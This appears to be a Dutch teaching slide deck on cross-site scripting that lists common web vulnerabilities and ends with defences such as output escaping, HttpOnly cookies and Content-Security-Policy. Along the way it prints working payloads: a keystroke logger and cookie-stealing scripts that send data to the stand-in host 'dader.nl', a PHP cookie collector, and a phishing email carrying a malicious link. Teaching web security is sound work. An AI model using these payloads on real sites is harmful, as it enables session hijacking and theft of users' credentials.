What the hack?

Cross-Site Scripting (XSS)

Bekende web kwetsbaarheden

XSS (Cross-Site Scripting)

SQL injection

Brute force

RFI

LFI

CSRF

Directory traversal

Open redirect

Tooling

Zijn geen vervanging van je vaardigheden

Ook niet van je discretie.

Verschil tussen automatische tooling en handmatige tooling. Veel tools combineren deze.

Vulnerability: Cross-Site Scripting

XSS: een dader kan javascript injecteren in webpagina's met user input

Mogelijkheden:

- Stelen van cookies of sessie-tokens, meeliften op user accounts
- Manipuleren van de pagina
- Redirecten naar foute (dader) website(s), stelen van login informatie
- Key logging:

```
document.addEventListener('keypress', e => {
  fetch('https://dader.nl?k=' + e.key);
});
```

Voorbeeld - slachtoffer

```
$ cat slachtoffer.php
<?php
setcookie("sessionid", "zomaar_een_cookie", time()+3600, "/");
$msg = $_GET['msg'] ?? "Welcome to the site!";
?>
<!DOCTYPE html>
<html>
<body>
<h1><?php echo $msg; ?></h1>
</body>
</html>
```

Voorbeeld - dader

```
$ cat dader.php

<?php

$file = __DIR__ . "/cookies.txt";

$cookie = $_GET['c'] ?? '';

file_put_contents($file, $cookie . "\n", FILE_APPEND);

?>
```

Voorbeeld - de val

```
encoded_msg_string = quote("<script>fetch('http://dader.nl/dader.php?c='+document.cookie)</script>")

url = f"http://slachtoffer.nl/slachtoffer.php?msg={encoded_msg_string}"

body = f"""

<h4>Hoi Oscar,</h4>

<h4>Mis deze te gekke oortjes niet!</h4>

<br>

Bestel ze snel <a href="{url}">hier</a>

<br><br>

Met vriendelijke groet,

Uw oortjes leverancier.

"""

send_html_mail('oscar@********.nl','Aanbieding!',body)
```

Verschillende manieren

De twee bekendste:

- Via de url (Reflected XSS)
  https://slachtoffer.nl/zoek.cgi?q=<script>alert('XSS')</script>
  Niet zo gevaarlijk. Maar je kunt ook links sturen waar men op kan klikken…

- Via een opgeslagen script (bv. in een commentaar, database, …) (Stored XSS)
  Bv. in een commentaar:
  ```
  <script>fetch('https://dader.nl/kopie?c=' + document.cookie)</script>
  ```
  Veel gevaarlijker. Geen user interactie. Tevens effect op iedere user die de commentaren bezoekt.

Wat er tegen te doen?

- Sta alleen bepaalde karakters toe in de input (bv. geen <, >, …)
- Maar ook dan: encode ('escape') de input!
  - php: htmlspecialchars
  - python: encode_entities
- Gebruik HTTP-Only cookies (zodat Javascript er niet bij kan)
- Set: Content-Security-Policy: script-src 'self';
  - accepteert alleen javascript van de opgevraagde pagina
  - blokkeert inline javascript
- Doe security tests

Hoe zit het met CORS?

CORS: Cross-Origin Resource Sharing

Bij gebruik slachtoffer.nl en dader.nl: de response van dader.nl wordt door de browser niet geaccepteerd vanwege CORS

MAAR: de response is niet belangrijk! Je kunt nog wel het cookie stelen en opslaan!

Overigens zijn er subtiele methoden om de CORS-melding te omzeilen en een response te genereren (exercitie voor de user! ;-))

Vragen?